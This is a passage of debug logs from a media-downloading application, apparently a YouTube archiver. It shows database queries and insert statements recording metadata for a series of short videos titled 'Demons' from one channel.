ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 17:20:53.090 [debug] Current batch of media processed. Will check again in 1000ms 17:20:54.091 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 17:20:54.092 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:54.092 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:54.092 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 17:20:54.093 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "2f7f1381-eaa4-4ea4-b40b-8cf86eb46992", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 00:20:54Z], ~U[2026-08-20 00:20:54Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 17:20:54.094 [debug] QUERY OK source="sources" db=0.1ms idle=30.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:54.094 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:54.094 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 17:20:54.094 [debug] Current batch of media processed. Will check again in 1000ms 17:20:55.095 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 17:20:55.096 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:55.096 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:55.096 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 17:20:55.097 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "43dfa6a5-c6d7-45c4-a9f6-a58967432a31", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 00:20:55Z], ~U[2026-08-20 00:20:55Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 17:20:55.098 [debug] QUERY OK source="sources" db=0.2ms idle=32.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:55.098 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:55.098 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 17:20:55.098 [debug] Current batch of media processed. Will check again in 1000ms 17:20:56.099 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 17:20:56.100 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:56.100 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:56.100 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 17:20:56.101 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "165231f9-3ab0-4d30-89bf-eb60e31cad5c", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 00:20:56Z], ~U[2026-08-20 00:20:56Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 17:20:56.101 [debug] QUERY OK source="sources" db=0.1ms idle=35.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:56.102 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:56.102 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 17:20:56.102 [debug] Current batch of media processed. Will check again in 1000ms 17:20:57.103 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 17:20:57.104 [debug] QUERY OK source="sources" db=0.3ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:57.104 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:57.104 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 17:20:57.105 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "55c46bbb-99fc-4c38-9ddf-91c91b7b3707", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 00:20:57Z], ~U[2026-08-20 00:20:57Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 17:20:57.105 [debug] QUERY OK source="sources" db=0.1ms idle=38.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:57.106 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:57.106 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 17:20:57.106 [debug] Current batch of media processed. Will check again in 1000ms 17:20:58.107 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 17:20:58.108 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:58.108 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:58.108 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 17:20:58.109 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "4c05fa88-0acd-4a47-b623-5b7eba398638", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 00:20:58Z], ~U[2026-08-20 00:20:58Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", 